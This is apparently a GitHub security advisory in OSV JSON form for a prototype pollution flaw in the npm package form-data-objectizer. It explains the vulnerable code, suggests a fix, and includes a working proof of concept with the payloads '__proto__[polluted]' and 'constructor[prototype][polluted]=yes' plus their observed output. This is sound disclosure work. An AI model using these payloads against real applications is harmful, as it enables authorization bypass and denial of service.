CVE-2026-46510: form-data-objectizer Prototype Pollution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m2hg-wjq3-28wq",
  "modified" : "2026-06-09T10:28:03Z",
  "published" : "2026-05-18T13:28:31Z",
  "aliases" : [ "CVE-2026-46510" ],
  "summary" : "form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys",
  "details" : "## Summary\n\n`form-data-objectizer` walks bracket-notation form keys (e.g. `name[sub]`) into nested objects without filtering `__proto__`, `constructor`, or `prototype`. A single HTTP form field whose name starts with `__proto__[...]` causes the library to mutate `Object.prototype`, which is a prototype pollution primitive of the entire Node.js process.\n\nThe bug is in `treatInitial` and `treatSecond` inside `index.cjs`:\n\n```js\nif (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches\n  newResult = result[inputName]      // newResult === Object.prototype\n}\n// ...\nresult[key] = value                  // sets the property on Object.prototype\n```\n\nWith the form key `__proto__[polluted]` and value `yes`:\n\n1. `treatInitial` matches `inputName = \"__proto__\"`, `rest = \"[polluted]\"`.\n2. `\"__proto__\" in result` is true (inherited), so `newResult = result[\"__proto__\"]`, which is `Object.prototype`.\n3. `treatSecond` recurses with `key = \"polluted\"`, `newRest = \"\"`, and assigns `Object.prototype.polluted = \"yes\"`.\n\n## Affected versions\n\n- `form-data-objectizer` `<= 1.0.0` (currently the only published version)\n\n## Patched\n\nNot yet. Suggested fix: reject any segment equal to `__proto__`, `constructor`, or `prototype` before walking into `result[inputName]` / `result[key]`. Either throw or skip the entry.\n\nMinimum patch in `treatInitial` and `treatSecond`:\n\n```js\nconst REJECT = new Set(['__proto__', 'constructor', 'prototype']);\nif (REJECT.has(inputName) || REJECT.has(key)) {\n  return; // or throw\n}\n```\n\nUsing `Object.create(null)` for the `result` object would also work since it has no prototype to pollute, but the `key === '__proto__'` direct write still needs guarding.\n\n## Proof of concept\n\nFresh install on Node 18+:\n\n```sh\nmkdir pp-fdo && cd pp-fdo\nnpm init -y\nnpm install form-data-objectizer@1.0.0\n```\n\n```js\n// poc.js\nconst FormDataToObject = require('form-data-objectizer');\n\nconst form = new FormData();\nform.append('username', 'alice');\nform.append('__proto__[polluted]', 'yes');\n\nFormDataToObject.toObject(form);\nconsole.log(({}).polluted); // -> 'yes'\n```\n\nObserved output:\n\n```\npackage version: 1.0.0\nbefore pollution: undefined\nafter pollution:  yes\nparsed data:     { username: 'alice' }\nconfirmed:       YES, prototype polluted\n```\n\nThe field name `__proto__[polluted]` is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits `polluted = 'yes'`. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.\n\nA second working payload is `constructor[prototype][polluted]=yes`, which walks `result.constructor` then `.prototype`.\n\n## Impact\n\n- Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses `form-data-objectizer.toObject()` on incoming form data.\n- Persists for the life of the worker process and affects every subsequent request handled by the same process.\n- Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing `if (obj.isAdmin)` style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` (8.2, High)\n\nIntegrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.\n\n## Credit\n\nReported by Mohamed Bassia (@0xBassia).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "form-data-objectizer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kaspernj/form-data-objectizer/security/advisories/GHSA-m2hg-wjq3-28wq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46510"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kaspernj/form-data-objectizer/commit/7c54b99408e6e9cd6533b7245bf197dadc2a2dbc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kaspernj/form-data-objectizer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T13:28:31Z",
    "nvd_published_at" : "2026-05-29T14:16:31Z"
  }
}